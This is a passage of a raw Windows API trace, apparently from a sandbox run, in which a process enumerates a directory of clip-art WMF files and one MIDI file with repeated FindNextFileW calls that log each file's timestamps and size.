ftCreationTime.dwLowDateTime=0x31e92000, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31e92000, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1fda300, ftCreationTime.dwHighDateTime=0x1bd4b21, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1fda300, ftLastWriteTime.dwHighDateTime=0x1bd4b21, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dd6400, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86dd6400, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54406500, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54406500, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x530f3800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x530f3800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cbf4f00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cbf4f00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8335e700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8335e700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa26000, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fa26000, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0071.419] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bb3800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x68bb3800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc436f700, ftCreationTime.dwHighDateTime=0x1bd4b08, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc436f700, ftLastWriteTime.dwHighDateTime=0x1bd4b08, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe37a5800, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe37a5800, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec9bd00, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcec9bd00, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b6bc300, ftCreationTime.dwHighDateTime=0x1bd4c00, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b6bc300, ftLastWriteTime.dwHighDateTime=0x1bd4c00, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c87b100, ftCreationTime.dwHighDateTime=0x1bd4c18, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c87b100, ftLastWriteTime.dwHighDateTime=0x1bd4c18, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04196_.WMF", cAlternateFileName="")) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04206_.WMF", cAlternateFileName="")) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04225_.WMF", cAlternateFileName="")) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04235_.WMF", cAlternateFileName="")) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04267_.WMF", cAlternateFileName="")) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0071.420] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0071.421] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0071.421] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0071.421] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0071.421] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0071.421] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0071.421] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0071.421] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0071.421] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0071.421] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2332bb00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2332bb00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0071.421] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0071.421] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d1cf00, ftCreationTime.dwHighDateTime=0x1bd4fa4, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d1cf00, ftLastWriteTime.dwHighDateTime=0x1bd4fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0071.421] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaac100, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaaac100, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0071.422] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcafbb900, ftCreationTime.dwHighDateTime=0x1bd4fa3, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcafbb900, ftLastWriteTime.dwHighDateTime=0x1bd4fa3, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0071.422] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0071.422] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0071.422] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0071.422] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0071.422] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0071.422] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0071.422] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0071.422] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, 